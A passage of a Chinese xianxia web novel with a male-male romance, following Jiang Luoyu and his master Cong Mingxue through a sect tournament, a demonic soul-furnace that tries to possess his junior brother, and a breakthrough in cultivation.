牌桌上的氛围很严肃,四人摸牌打牌的动作硬生生带着股肃杀之气,仿佛下一秒就要掏出武器一决高下。 “境主醒了啊,”垢姬直起靠着凝星的身子,“您都睡了三天三夜了。” 丛明雪看了眼手里的牌,咳了咳:“事不宜迟,既然阿玉醒了,我们不妨即刻启程回宗。” 再输他都要看不见路了。 两人命格纠缠,姜洛玉之前又喝了丛明雪的精血,现在更是心意相通,闻言点头出了三清秘境。 如今的三清秘境除了本地土著进来不用打报告,所有人都要在他允许之下才能进出,进出秘境的“门”就位于他身上的玉佩。 玉佩被唤醒后与他整个人绑定,就算被人抢走了一个念头也会回来。 这也是为什么众人要等他醒过来,而不是趁着他沉睡直接启程去往天正宗。 外面是离他醒过来的滩涂不远的荒山,这地方据何在夕说离长平城不远。 他通过了丛明雪出来的申请,又挨个放出了秘境里想出去、能出去的生物。 统计之后,出去的只有十几个能化形的灵兽、灵草。 凌珠出来之后,抱着缩小的老鳖兴冲冲地跑向姜洛玉:“境主,我和老鳖出去玩儿了!” 姜洛玉揉了揉凌珠的蓝色的发顶,柔声道:“机灵点,遇到危险直接回秘境,别被人抓去炼药。” 望着蹦蹦跳跳离开的女孩儿,回头搭上丛明雪递过来的手。 渡劫修士,神通在手,即便带着人,也能缩地千里。 六日之后,天正宗。 此次修真大比正好轮到了天正宗主办,尘极道君作为掌门为了大比殚精竭虑,不仅提前三年就开始邀请各个洲的门派,还特意用阵法扩展了演武场,扩建了待客的山头。 各个洲里不包括扶桑、南洲。这两洲里几乎都是魔修,对修真大比嗤之以鼻,参加也是过来捣乱的。 惠风和畅,枫树微晃。未时三刻,天正宗入口人山人海,各大门派齐聚一堂,五花八门的校服看得人眼花缭乱。 更别提白色校服占据了半壁江山,往往一不留神就会跟错队伍。 “诸位道友稍安勿躁!今年修真大比恐有邪祟生事,诸位一定要通过识魔镜检验验明正身,才能进入天正宗。” 尘极道君在越来越大的议论声下闭了闭眼,叫来修理识魔镜的弟子。 尘极道君:“修不好吗?” 娃娃脸的女弟子皱着眉:“回掌门……刘长老已经很努力在修了,可毕竟这东西是仙器改造的,刘长老才合体修为,实在是吃力。” 其实是无能为力。 尘极道君:“修远还没出关吗?” 修远道君,天正宗器峰的峰主,修为在大乘中期,最近在闭关。尘极道君只好叫了器峰的副峰主过来在检验魔气的法宝旁边充当个吉祥物。 毕竟这法宝是由修远道君亲手改造的,出问题的可能性几乎不存在。 没想到刚用了不到半天,验魔镜就坏了。 现在正在使用的法宝没有验魔镜的效率快,相比验魔镜一次检验百人,逢魔鼎一次十人简直是慢得出奇。 慈安真君面无表情地指了指天空:“师兄,快看。” 尘极道君抬头,看见了一道熟悉的白影,惊喜万分:“是仙尊回来了!他……” 怎么怀里好像抱了个人? 尘极道君眨眨眼,再看过去只能看见面无表情的丛明雪,和他身后踩着飞剑的姜洛玉。 在场众人都感受到了银发仙尊身上似有若无的剑意,静默了一瞬,随即发出更大的讨论声。 “快看是药辛仙尊!我这还是第一次看见仙尊真人,果真不负修真界第一美男的称号!” “他后面的是……不认识。算了不重要,我得赶紧录留影,回去好卖给师弟师妹们。” “……” 丛明雪落到尘极道君身边,见他面露难色,问道:“尘极,可有难处?” 尘极道君:“回仙尊,识魔镜坏了,可修远还在闭关。” 丛明雪记得识魔镜是修远道君用传承里的仙器改的,思索片刻,对姜洛玉传音道:“阿玉,能否请那伽叔出来帮忙?事后天正宗自会奉上答谢礼。” 姜洛玉蹲在山门口的石台,正打量着下方等待进宗的修士,闻言“好”了一声,通过玉佩联系了那伽。 那伽钻了出来,把尘极道君从上到下看了一遍,高贵冷艳地点了点头。 丛明雪:“尘极,这位是我结识的炼器宗师前辈,让弟子带他去修复识魔镜即可。” 尘极道君本来被突然出现的少年吓了一跳,听见“炼器宗师 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女人穿着一身淡粉色的法衣,看起来不过二十出头,五官深邃艳丽,乌发配上绿眼,一颦一笑间尽显风情。 长得和他第二世在姜国的亲娘一模一样。 “师尊……”姜洛玉扯了扯丛明雪的袖子,“我好像,找到我娘了。” 迦南月死前对他的道歉,还有病床上的人灰败的脸构成了他对她所有的记忆。 第二世,她死在他记事后不久。 虽然很扯,但他凡人那一世刚满月就记事了。 姜洛玉记得很清楚,他满月那天像是被启动的电脑终于意识到自己应该工作,于是他从血脉相连的气息里,知道抱着哼歌的女人是他的娘亲。 最开始的迦南月还会每天晚上抱着他给他唱家乡的歌曲,那时的她已经很瘦了,眼睛里也没有神采。 她从来都不是什么“舞姬”。她是天月国的小公主,因为战败才被送来姜国和亲。 她不懂姜国的语言,就算姜国的妃子当着她的面叫她“舞姬”也不会生气。她留在姜国的皇宫里,活得更像是个透明人,姜皇想不起来找人教她姜国的语言,柔情蜜意了一阵子便将她抛掷脑后。 等到她生下了皇子,也还是无人问津。 天月国上下用爱浇灌出来的鲜花枯萎在姜国的皇宫。姜洛玉作为一个翻身都困难的婴儿,根本改变不了迦南月必死的结局。 他只能看着他的母亲一天比一天虚弱,唱歌的声音一天比一天小……直到有一天,她对着他用天月语说了声“抱歉”。 自那之后,他再也没见过母亲的脸。 “宗主,上面有人在看你。” 迦南月“嗯”了一声,姝丽的脸上挂着一丝疲倦,懒散地打了个哈欠:“是个小朋友。” 如有实质的的眼神里没有欣赏也没有欲望,反倒带了一丝说不清道不明的孺慕,就像是在透过她……看见了自己的亲人。 迦南月仔细想了想,她家里除了她应该都死绝了。她也没从青年身上感受到什么血脉相连的气息。 那这孩子又在看什么? 39.穿越第三十九天 “人在哪儿?”丛明雪罩了一层结界和障眼法,顺势蹲到姜洛玉身边。 姜洛玉指了过去:“合欢宗……好像是宗主?” 丛明雪也看见了那张和天月国公主迦南月一模一样的脸,瞳孔微缩,视线接着扫过女人身边的毕恭毕敬的柔美女子。 “合欢宗宗主是她旁边的女修。”丛明雪解释道,“至于这位前辈……” “我也是第一次见到她。” 姜洛玉:“那她为何会和我娘长得一模一样?就算是转世的关系,也没理由长得……” “渡劫。” 丛明雪笃定的声音传进姜洛玉的耳朵。 “你的魂魄由三清之气构成,三清之气又是天地灵物。能当得上三清之气‘母亲’的,又岂会是真正的肉体凡胎?” 姜洛玉:“也太离谱了……上界渡劫的人都快把下界渡成筛子了。” 不过也正常,毕竟仙界光仙境就有十二个,又划分为四十八洞天,每个洞天的人口据统计,大多数都在十万人左右。这四百多万仙神里,渡劫的自然大有所在。 就是不知道迦南月在上界又是什么身份。 腰间玉佩一动,姜洛玉知道是那伽回了三清秘境,转头看过去果然看见慈安真君一个人回到了石台。 “多亏了仙尊的那位友人,如今识魔镜已经修复完毕了。”尘极道君眉头舒展,对着丛明雪行礼,“时候不早,我先去组织各个门派进宗,那伽灵君的报酬晚些奉上。” “师侄先行告辞。” 丛明雪:“且慢。” 姜洛玉:“掌门您等一下!” 尘极道君离开的脚步一顿,眼睁睁看着自己面前多了个人。 “师叔你刚才不是回落雪峰了吗?” 姜洛玉演示性地咳了咳,对着尘极道君行了个弟子礼,道:“障眼法而已,我这个情况不太好直接露面,还请掌门多多宽恕。” 尘极道君也听了一些外界对姜洛玉的议论,赞同地点头:“师叔还是先不要露面为好,外面那些风言风语……你别多想。” “你想问什么?” 姜洛玉还真不知道外面有什么“风言风语”,仗着结界直接指向合欢宗所在:“合欢宗的领队女子是谁?” 尘极道君看过去,对上女人的脸心中五味杂陈,如实说:“她是合欢宗前任宗主迦南月,渡劫中期修为,道号风止,已经一千多年没出现在世人面前了。” 连名字都分毫不差。姜洛玉露出果然如此的表情,上界之人渡劫最大的特点就是无论是第几世,名字都是一个。 “师叔你还有别的事吗?没有我就、就先去忙了。” 姜洛玉拱手:“多谢掌门告知,没有其他问题了。” 既然知道了身份,其他的消息就好打探了。可是……他不动声色地偷瞟尘极道君难看得十分明显的脸色。 掌门怎么看见迦南月之后这么奇怪? 丛明雪也注意到尘极道君的异常,思索片刻传音道:“我听师父说,尘极道君有一倾慕之人,甚至为她放弃了家族传承。就算拜入天正宗多年,两人联系几乎断绝也不改此心。” 姜洛玉:“什么传承?” 丛明雪:“绝情道。” 姜洛玉:“……?” “尘极,近来来魔界异动,魔器不断现世,恐怕生出祸端。”丛明雪嘱咐道,“务必检验好每一个入宗的修士,绝对不能让魔修和邪物混进来。” “三日之后修真大比开启,我会如期到场。” 尘极道君“是”了一声,随即带着姜洛玉离开了山门口。 底下看热闹的众人只能看见药辛仙尊和天正宗掌门说了一会儿话,见仙尊离场,只好遗憾地收回视线。 “师尊,掌门的白月光不会真是我娘吧?”姜洛玉实在难以想象,看起来五六十岁的尘极道君和他娘站在一起的样子。 丛明雪无奈道:“尘极现在的外表只是易容之术。” “‘白月光’又是什么意思?” 姜洛玉有些尴尬,心意相通这点就不太不好了。他想什么东西过于认真的时候,对方就会察觉到他的想法。 至于“白月光”的解释……他把脚下的玄衣剑换成无相球的七宝莲台,让丛明雪也一并坐进来。 “大概意思是难以忘怀的人,还有忘不掉也得不到的人。”姜洛玉托着下巴,眼中划过精光,“就像是第二世的时候,你就是我的白月光。” “钻狗洞之后你对我的照拂、陈国时的搭救、国师府的教导……桩桩件件我都记在心里,又对你生出了不可说的心思。那时候我得不到,你是高高在上的‘国师’,不染世俗的仙人。” “我敬你爱你,所以做的最出格的事情就是用‘占卜国运’的借口,把你软禁在皇宫里,却不敢碰你。” 丛明雪默不作声,红了耳尖:“现在不是了。” 姜洛玉“噗嗤”一声笑了出来,躺倒在丛明雪怀里:“那当然。” 无相球默默加快赶路速度。 落雪峰。 齐怀仁给怀里的长毛灵猫梳理完打结的毛发,刚想去捉下一只脏兮兮地灵宠,察觉到弟子居门口多了道熟悉的气息。 他望过去,看见了一身玄衣的姜洛玉,惊喜道:“烛山,你终于回来了!我还以为你赶不上修真大比了。” 姜洛玉把无相球塞进丹田,掏出在云泽洲买的特产法衣递过去:“大师兄别来无恙,这是织云锦做出来的法衣,一点心意还请师兄收下。” 说完又塞给齐怀仁几盒红楹做出来的点心。 离得近了,齐怀仁对着许久未见的师弟绕了好几圈,不太确定道:“你此番去何处历练了,怎么好似脱胎换骨一般?” 不但长相更加精致,浑身还多了一丝说不清道不明的气质。 姜洛玉笑而不语。重新成为三清秘境好处有很多,外表和气质上的改变只是一小部分。更多的是内在改变,比如他的身体每天都在排出魂魄里多余的杂质,今后 “就是修为没变。” 姜洛玉:“……” 齐怀仁的话把他一棍子打回现实。 出门一年归来仍是金丹初期,要是出去游山玩水也就罢了,修为不涨很正常。关键在于他是出去历练的。 虽然没体会到什么命悬一线的危机感,但好歹是得了个秘境,修为一点没变实在是……有些惭愧。 惭愧不 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那个有厌世脸的藏狐? 他仔细回想了一下,发现齐怀仁不特意挂着笑的时候,脸色确实有股说不上来的臭。 “先不说这个。”齐怀仁沾了沾杯中的酒水,弹到空中化作一根盘踞着龙身的柱子,“师弟可知龙腾柱?” 姜洛玉点头:“吉祥物。出现在哪里,哪里就主办修真大比。” 齐怀仁哽了一下:“……师弟你还真是不了解规则啊。” “龙腾柱除了这个作用,还是个能够测试资质和潜力的排榜,将参赛选手划分为天骄、绝世天才、精英天才、普通天才以及普通参赛选手。” 好套路的套路,姜洛玉感慨着,问道:“那这个榜有什么实质性的作用吗?” 齐怀仁:“到时候排完榜,龙腾柱会全场吟诵前十名天骄的姓名,并为他们单独批命。” 姜洛玉点头,捏了粒花生米扔进嘴里:“有意思。” 齐怀仁眼睛发亮:“你如今修为在金丹期,修真大比的规则一会儿再说,我先来为你分析分析潜在对手。” “都是修真界天骄榜上的人物。我挨个分析,已经给小师弟讲完了,就差你没听了。” 姜洛玉:“那……子宁他听完之后去哪儿了?” 齐怀仁不好意思地摸了摸又冒出来的耳朵,回道:“他听完之后没说话,现在估计又在山脚的演武场练剑。” 姜洛玉:“……” 这是给孩子吓到了。 记忆里的谢子宁一直对自己的身手不自信,虽然面上不显,内里其实喜欢焦虑。他见过谢子宁刚入道时,为了练好剑整夜整夜地不睡觉。 最后还是被丛明雪敲晕了送去医峰强制安魂,才没累到神魂不稳。齐怀仁一上来就给他分析天骄榜上的对手,谢子宁不焦虑实力才怪了。 姜洛玉正襟危坐道:“师兄你开始吧。” 齐怀仁:“那好。如今修真界金丹期天骄榜第一,乃是玄极宗、玄剑峰峰主新收的亲传弟子——” “东方顺。” 40.穿越第四十天 “师兄等一下,这天骄榜靠什么排名?” 姜洛玉忽悠无相球变成灵猫躺在自己怀里,边揉着猫爪边问着。 齐怀仁:“自然是资质和扬名程度。” “比如这个东方顺,男,剑修。一百五十三岁,天生剑骨,天灵根单金灵根,金丹中期修为。修习得乃是玄极宗主峰的独门传承——《玄天九幽剑诀》” “他之所以能以金丹中期的修为霸占榜首,是因为金丹初期的时候,曾经在北洲极寒之地的秘境里差点被残魂夺舍。” “那残魂夺舍之后妄图献祭秘境里所有人壮大自身。不曾想东方顺意识未灭,抓准机会反杀,又吊着一口气斩杀千头摆成阵法的妖兽,为其他人争得了存活的机会。这才被乘风阁记录下来,成了天骄榜的榜首。” 姜洛玉:“其他人呢?” 齐怀仁:“第二是西洲佛宗金丹期圆满的隐空,佛子候选人,曾用《无量莲心诀》协助现任佛子超度万鬼,功德加身。” “第三乃东洲归墟宗金丹后期的林双鹤,宗主之女,《洪荒天刀斩》出神入化,金丹中期时,接下过上门挑衅的元婴后期修士三招而毫发无损。” “第四为栖仙洲昆仑殿金丹后期的诗心妍,昆山圣女,《妙音玉昆功》致臻化境,一把幻月玉髓琵琶在手,昆仑殿内同境界者无人能敌。” “第五来头不小,是问仙岛金丹中期的赵珏。他能排到第五除了单灵根的资质奇佳,还要靠问仙岛的密不外传的功法《天枢长生剑法》。以星辰之力为根基,长剑出鞘便是七星所指。” 齐怀仁看了眼天色,终于想起自己还有事情没做,道:“师弟舟车劳顿,我就不细说了。这里有份乘风书坊发出来的天骄榜详解,你慢慢看,我还得去找灵宠。” 说完从储物戒里掏出玉简递了过去。 “它们不会自己回家吗?”姜洛玉接过玉简,挠了挠无相球的下巴。 齐怀仁:“说来奇怪……最近半个月,这些灵宠经常莫名其妙钻出去,但以我的能力,没能发现弟子居结界漏的洞,只能到了晚上把它们挨个抓回来。” 姜洛玉挠猫的手一顿,心头涌上一股不详的预感:“大师兄,你说小师弟在演武场练剑?” 齐怀仁点点头。 姜洛玉:“他是今天突发奇想,还是最近才这么做的?是的话,又是什么时候开始的?” 齐怀仁思考片刻:“并非临时起意,子宁半月之前就开始在晚上练剑了。” 不对劲儿的感觉越来越明显。 姜洛玉相信自己的直觉,于是当机立断站起:“师兄,我去找师尊让他过来检查结界。你在这儿呆着,千万别动!” 跑出弟子居后,他稳住狂跳的心脏,拿出望远镜回头一看,弟子居的结界里魔气冲天。 这些魔气的浓郁程度又高又集中,谢子宁的住处几乎成了一团黑气。 受修为所限,他身为天地灵物感受魔气的能力几乎为零。而且回落雪峰的路上,丛明雪收到医峰峰主的传音,去了医峰取治疗功法副作用的灵药。要不然以丛明雪的修为早就能发现弟子居的不对劲儿,都不用齐怀仁提醒。 “红姨你先看着我大师兄,他喝多了反应迟钝别被人掳走。”姜洛玉叫出红楹,又唤出离昼,“离昼叔你陪我去演武场,估计这次……” “还是谢子宁身上出了问题。” 红楹打了个哈欠,正了正头顶的假发,拍拍齐怀仁的肩膀:“小友,你酒量不行啊。” 齐怀仁:“……” 他是不是喝出幻觉了,怎么面前突然多了个渡劫的灵君? 演武场,几棵半死不活的松树随风晃动。枯黄的松针垂在树枝上,被落上去的灵鸟啄了几口,静静地掉进土里失去最后的生息。 谢子宁站在演武场边缘目睹这一幕,不禁有些唏嘘。想起自己即将面对的事情,最终犹犹豫豫地转过身去。 他的身后站着个俊美的男人。说是俊美,其实又带着几分邪气。谢子宁越看越觉得心跳加速,脸颊浮起诡异的红晕,小声发问:“阿言……喝了我的心头血,你就能从香炉里出来吗?” 男人露出一抹邪笑,一甩衣袖,走上前抓起谢子宁的手,语气轻浮:“没错。阿宁,我在天正宗等了几千年,终于等到了让我一见倾心的爱人,只有你能放我出来。” “只有你……啊——!” 男人飞了出去。 “放屁!有时间撒泡尿照照镜子,连个人形都聚不出来就想夺舍?” 姜洛玉嫌弃踹得不够狠,扣完伏魔灵宝,又在地面香炉上踩了两脚:“多大岁数了还这么不要脸?哦,也对,你们这种只剩下残魂的魔族最喜欢蛊惑别人了。” “毕竟也干不成别的事。” 夺舍?魔族?! 谢子宁捂着眼睛也“啊”了一声,脑袋里好像有什么东西消失了。 他放下手,看向“男人”倒下的位置,看见了一堆齐怀仁在弟子居养的灵宠,以及……一个巴掌大小的镂空香炉。 那些灵宠哆哆嗦嗦地挤在一起,甚至有一只兔子晕了过去。而香炉里面,飘着一团黑色的气。 那团黑气爆发着刺耳的嚎叫,和他记忆里“阿言”的声音一模一样。 谢子宁意识到,自己好像又被骗了。 “你想出来啊?”姜洛玉捞起晕过去的兔子,给它喂了颗丹药,接着对香炉嘲讽道,“做梦去吧。” 他把香炉交给了站在一旁的离昼。 离昼接过香炉,看着谢子宁若有所思:“境主,这孩子的命格很有意思。” 不用离昼细说,姜洛玉也能看出来。从铜镜到现在的香炉……谢子宁大概很招魔物喜欢。 他走过去弹了一下谢子宁的额头:“傻了吗,师兄救了你连句谢谢都没有?” 谢子宁如梦初醒,腿一软就要跪在地面。 被姜洛玉托住之后更是悲从中来,直接改为抱住姜洛玉的大腿嚎啕痛哭:“呜呜呜师兄你终于来救我了,救命之恩感激不尽,我一定为师兄上刀山下火海肝脑涂地两类插刀……” 姜洛玉拽出腿,无奈道:“停,说重点。这香炉你从哪得来的?” 谢子宁吸了吸鼻子,从地上爬起来:“从山下的城池里的藏宝阁买来的。我当时看它长得好看,买回来才发现这东西邪性得很,一直在我梦里说话,扔也扔不掉。” “我去拿给大师兄看,大师 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他坐在石桌旁边不敢动作,静静看着对面的红衣女子倒了一杯酒,把酒杯端给丛明雪。 齐怀仁从没见过丛明雪饮酒或是吃东西。在他的认知里,自家师尊这种九天玄仙一样的人物,一定是餐风饮露不食人间烟火的。 丛明雪接过酒杯一饮而尽。 齐怀仁对丛明雪多年来的“仙人”滤镜瞬间破碎,撸了几下跳到自己怀里的灵猫。 丛明雪喝完酒,瞥向弟子居门口,看见了一黑一蓝两道身影。 是拎着谢子宁的姜洛玉。 姜洛玉把人放到地面,拱手道:“见过师尊,小师弟已经没事了。” 丛明雪“嗯”了一声,对着刚出秘境的凝星道:“麻烦凝星前辈检查一下,我这小弟子可有不妥。” 凝星竖起个“OK”的手势,领着一头雾水的谢子宁去了他自己的住处。 齐怀仁觉得气氛不太对,特别是他家师尊和他的二师弟对视的时候,诡异得有种外人插足不进去的感觉。 魔器这种东西他又插不上手,于是站起来拱手道:“师尊,我还有事就先去回去了。” “好,明日检查剑法。”丛明雪淡淡道。 齐怀仁:“……” 待到齐怀仁走后,姜洛玉把紫金钵盂和香炉发着金光的香炉拍了上去:“师尊你看,又是个新魔物。” “不过离昼叔,这香炉真的是魔器吗?怎么看着不太像?” 离昼坐到石桌旁,指了指香炉:“这东西不是香炉,而是魂炉。” “专门承载魔族神魂的魔器。” 姜洛玉继续吃着花生米:“你怎么知道得这么清楚?” 离昼放进去灵气化成的拇指粗细的阴阳蛇进了魂炉,里面的黑色气团瞬间缩成指甲盖大小,轻描淡写道:“我被魔尊困在过魔界一段时间。” 姜洛玉倒吸一口凉气:“那你怎么逃出来的?” 离昼挑眉:“自然是偷走魔尊的魔心,让他不得不放我走。” 姜洛玉:“……?” 41.穿越第四十一天 “魔心还能偷么……” 姜洛玉匪夷所思,低下脑袋隔着结界,逗着钵盂里的癞蛤蟆,艰难扒出来关于魔界的记忆。 魔界作为下界魔修飞升后的目的地,是有原住民的,统称为魔族。飞升的魔修也会被同化为魔族,然后从底层再次奋斗。修为越高越受人尊敬,武力值越强追随者越多。 魔族无三魂七魄,本质上就是一团魔气,所有的魔都诞生在魔界的无尽血海里。 魔心是他们的命根子,承载着他们九成以上的七情六欲,以及能够过滤修炼所需魔气中杂质的魔核。 没了魔核的魔族,修为再难进境。 姜洛玉忍不住一个劲儿看向离昼,开始脑补其中的爱恨情仇。 丛明雪若有所思,在他的记忆里,只有现任魔尊墨危楼曾经无缘无故闭关千年。那时候的小道消息乱飞,都在说魔尊魔心被人挖了,差点身死道消。 没想到…… “陈年旧事了,先不提这个。”离昼开口打断两人发散的思维,“先说这魂炉。” “这是魔族的一种酷刑,将犯错的魔打成魔气原形放进去。永生永世都要承受着焚身灼心之苦,直到魔气被烧得无影无踪。” 姜洛玉举猫:“了解。但这种处刑的东西……一般不都该放在牢狱里吗?那这东西怎么会到下界?” 离昼:“谁又知道那群魔族脑子里在想什么。不过境主,现在光是您不到两年的时间就遇到了三个魔器,这还是因为您了解魔器的前提。” “那这整个修真界,又有多少没暴露出来的魔器存在呢?” “境主啊,六界就要变天了。我的建议是……您尽量晚点飞升,三道劫不急于一时。” 六界要变天了,变天…… 脑子里都是离昼说的“变天”,姜洛玉睡不着,从床上爬起来披上外衣,推开门被清亮的月光照了满脸。 落雪峰的弟子居一到晚上就很安静,只有趴在窝里的灵宠睡觉的呼吸声,一百多年从未改变。 齐怀仁这个时间十有八九在打坐,至于谢子宁……他的房间里灯火通明,凝星还在给他针灸排除体内的魔气。 他走出弟子居的结界,踩上了峰顶不化的积雪,沿着崎岖的山路不紧不慢地向山顶走去。 就像小时候一样。 他这次成功地走到山顶,敲了敲丛明雪洞府的结界。 没有结界。 姜洛玉直接走了进去:“师尊你在等我——” 洞府里不再是不加修饰的石洞,而是大了不知道多少倍的,和浮空殿里差不多布置的寝殿。 那丛明雪又在哪呢? “为何不睡?” 姜洛玉掏出齐怀仁给他的天骄详解,对着突然出现的人展示了一下:“喏,这个。我看完之后发现,金丹期和练气期的修士里面,单灵根不下数十人,天灵根单灵根更是达到了十几个之多。” “虽说乱世出英雄……这出得也未免太多了些。” 要知道下界虽然土地辽阔人口众多,单灵根算下来确实稀缺的。一个洲里面,往往几百年才能出来个单灵根,天灵根单灵根就更不必说了,夸张些千年才能出来一个。 这最新两代的单灵根、天灵根的数量都快赶上萝卜开会了,实在是令人——不安呐。 “你在怕什么?”丛明雪按住自己乱跳的心脏,那天精血的效果还未消失。 他见姜洛玉不回答,只是沉默地看着自己,叹了口气,拉着人坐在罗汉床上:“世人能从天才的诞生中初见乱世端倪,这是法则的预警。你的担心和忧虑阻止不了乱世到来,我们都是洪流里的一员。” “若是真的有一天六界战火复起,你能做的,只有选择自己认为最正确的道路。” 姜洛玉终于开口道:“那你呢,你眼里正确的道路又是什么?” 丛明雪沉默良久。 姜洛玉:“这个问题太过宽泛,那我换一个具体点的——” “你会死在正确的路上吗?” “我不知道。”丛明雪这次的回答很快。 姜洛玉:“你爱我吗?” 丛明雪:“爱。” 姜洛玉:“那之后呢?” 他站起来凑到丛明雪面前,细细打量他的眉眼,最后和那双青葱色的眸子对视。闪着细碎流光的眼眸里映着他的身影。 “你会换掉功法么,会不再修习天道吗?那是你从元婴期开始就参悟出来的道,是陪着你几千年甚至几万年的功法,你靠着当初在万妖窟的一腔热血走过了无数称得上孤寂的岁月。” “和我的相遇只是你人生里一小段,甚至可以说是‘微不足道’的事件。你爱上了我,这是事实,但这也是功法对你影响减弱的结果。” 说到最后,姜洛玉眼前的一片模糊,他尽力让自己的声音听起来平静:“等到功法再度抽离情绪,你又会变成那个无心无情的神君。” “那我呢?真正陷进去的只有我一个人。” “你从来都不是一个人。” 丛明雪抬手替姜洛玉擦了擦眼泪,直接把哭得不能自已的人抱起放在云床上:“别动,接下来什么都不要想,顺从自己的本心。” 想什么?姜洛玉也不知道他要想什么,只是眼泪已经流干了,只好在云床上蜷缩成一团。能将人灵魂冻结寒意从身体深处冒出,他甚至能看见自己眼睫上挂上的冰霜。 出问题了。 可他能确定自己身上没有外来的气息,那又是什么—— 万相道,是万相道出问题了。 更准确的说,是灵道劫带来的反噬。 这世上没有任何大道是完美无缺的。多情道风月无边,却极其容易为情所困不再进境;剑道百变,却又难以摸索出独属于自己的那条路来。 轮回道看似只需要不断轮回就能得证大道,实则一不留神就会迷失在好像没有尽头的轮回里。 而万相道的弊端,就是他身为个体,根本承受不了“万相”所给予他的一切。 他变成灵草,要先观察灵草不受任何外力因素干扰的外表,紧接着是它在不同状态下的外表——风吹日晒、雨淋火烧…… 观察到了极致,他对灵草的模仿也就到了至臻化境。 灵草便是他,他便是灵草。 若是变成开了灵智的兽类,就又多了一道工序,需要了解它们的记忆,从中得出它们不同于同类生物的特点。 他大多数时间都只停留 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混沌的大脑越来越迟钝,姜洛玉的意识也跟着眼前愈发模糊的景象一并消散—— 死去的野草能闻到花香吗? 脸颊红彤彤的小女孩儿跑到田埂边,摸了摸不知道什么时候被丢在上面的花盆:“婆婆你快看,是花诶!可惜已经死了……” 不,他没死。 姜洛玉奋力地在花盆里挣扎,却撼动不了花盆分毫。 佝偻地老妇挎着竹篮,回答道:“囡囡,那我们把它埋进土里吧。” 小女孩儿歪着脑袋问:“为什么要埋进去?” 老妇:“这样它才能回归土地的怀抱,腐烂后来年长成地里的麦子。” 小女孩:“那它也不是花了啊,它还是它吗?” 老妇:“怎么不是,只要它存在过,就会一直存在。就像你爹一样,虽然他现在只是个坟丘,但你又能说他完全消失在这世上了吗?” 小女孩儿似懂非懂:“不能。我爹坟里还有骨头呢,更别说还有什么……魂儿还没散!我前天还看见他回来看娘了呢。” 老妇骂了女孩儿一声,让她别乱说话。 是的,不能。 无论他变成什么样子,他都是他。 他的灵魂不死,精神不灭。 云床上被冰块儿包裹着的青年身上忽然冒出刺目的白光。 丛明雪握紧拳头,眼睛一眨不眨地等待白光散去。 若是姜洛玉道心破碎,他就立刻废掉他的修为让他再次重修,不至于走火入魔。若是道心依旧……但愿如此。 大道的弊端只能本人摸索,旁人不可插手。 所以就算他想起一切之后意识到姜洛玉的万相道弊端已经显现,也无法提醒,只能期望着姜洛玉能快些意识到,不要让这弊端深入骨髓。 到那时再根除,可就比刮骨疗毒还要艰难了。 白光一点一点散去。 一炷香后。 姜洛玉睁开眼睛,第一时间找到丛明雪,对他露出个笑来。 “师尊快看,我已经到金丹后期了。” 42.穿越第四十二天 实打实的金丹后期,而且根基扎实,毫无虚浮之感。 丛明雪勾起嘴角又迅速放下,掏出手帕上前替姜洛玉擦去他面上的泪痕:“恭喜阿玉了。” 温热的触感从脸上划过,姜洛玉等到丛明雪擦完直接把人拽上了云床,趴在他怀里开始闭眼回味刚才的惊险。 现实里只过去了短短一炷香的时间,而他在万相道勾勒出来的“虚假”里,一刻不落地又过了一遍几百世的死亡回忆。 虽说灵道劫里成为花草树木、飞禽走兽的死亡的方式大多数都很平淡,但“死”本身不是,人的意识被填充到没有灵智的死物里,就连死亡也显得格外孤独和悲壮。 老妇和小女孩其实并不存在,那一世他的结局是被路过的牛发现吞吃入腹部。她们是他潜意识里对万相道理解的显化,是破局的关键。 他的心里已经有了早晚都会出现帮他稳固大道。 不过越晚出现,他醒悟就越难,迷失自我的可能性也会像滚雪球一样越来越大……甚至就连醒过来的机会摆在面前,也能视而不见。 “不是一个人。” 没头没尾的一句话。 姜洛玉用了好几秒才反应过来,丛明雪是在回答他晕过去之前的问题。 丛明雪摸了摸姜洛玉的头发:“我……爱你,是不争的事实。天道无情但人有情,我既然是‘人’,就能存在人的七情六欲。” “至于功法的问题,就算那时我真的无法克服弊端,也只是被迫暂时隐藏了对你的感情。我不会弃你而去,那些感情总有一天会再度重见天日。” “我希望你能等我。” 而不是因为他的冷漠选择离开。 剩下的话丛明雪没有说完,只是沉默地嗅着姜洛玉修为稳固后散发出来的花香。 凡人百年不过仙神一瞬。 脑中划过丛明雪在仙界时的模样,姜洛玉抬起头:“你认为我没有耐心?” 丛明雪摇头。 “那你说这些又是做什么?”姜洛玉有些奇怪,“算上仙界,我都等了你多少年了。” 丛明雪不语。 姜洛玉摸上腰间的三清玉佩,自言自语道:“难不成是功法出了什么差错?” 玉佩那边的凝星终于答话:“境主有事吗?我的花和垢姬的毒物打起来了,我得过去给它们治伤。” 姜洛玉:“好的星姨,那我长话短说了。我怀疑丛明雪的功法出了问题,他现在状态不对劲儿,有点像……” 凝星:“自怨自艾的深宫怨夫?” 姜洛玉:“……有一点。” 眼神忧郁了点,一动不动坐在床边,浑身带着一股“淡淡的忧伤”,还四十五度角仰望天空的样子,还真有一种人夫感。 主要是脸长得够帅,做什么动作都自带滤镜。 凝星:“不是功法问题,境主放心。我不是在为他治疗不举吗?在喝药的过程中,药辛做出的所有反应都源于七情六欲。” “我在药方里放了十万年的唤情花,它的功效能够抵抗《天剑诀》的弊端,让他只对你一个人释放的情绪分散出去,能够有效激活人欲。四个、不对三个月之后,你们大概就能双修了。” 姜洛玉咳了咳:“我知道了,不过他现在这样子我该怎么做?” 凝星:“境主不用特意做什么,唤情花的功效发作大概就几个时辰,熬过去就好了。最多他想做什么你别拦着他就好。” 丛明雪见姜洛玉表情为妙,猜到他已经从凝星那儿知道了自己的事,开口道:“抱歉,我只是怕你担心。” 姜洛玉放开玉佩,欲言又止:“我懂。不过你现在的状态是……‘忧’?” 丛明雪点头。 “别愁了,快躺下。”姜洛玉拍了拍身边的位置,“睡一觉就正常了。” 丛明雪再次点头,然后躺了上去。直到身边的人发出熟睡的呼吸声,他才侧过身将人搂进怀里。 三日之后,修真大比正式开启。 修真大比出现于第一次仙魔大战之后——神主扰乱六界那次。只会举办在修真界前五大宗门里,轮到那个宗门举办,其内就会出现龙腾柱。 龙腾柱上面的盘龙栩栩如生,出现后会爆发出耀眼的金光,石头雕刻的盘龙发出长啸后脱出柱身,势不可挡地一飞冲天,化作金色光点扩散到四面八方。 现如今的五大宗门,第一是太极洲盛产剑修的天正宗,第二为北洲综合性极强的玄极宗,第三乃西洲佛宗,第四是东洲转出刀修的归墟宗,第五是栖仙洲的万寿门。 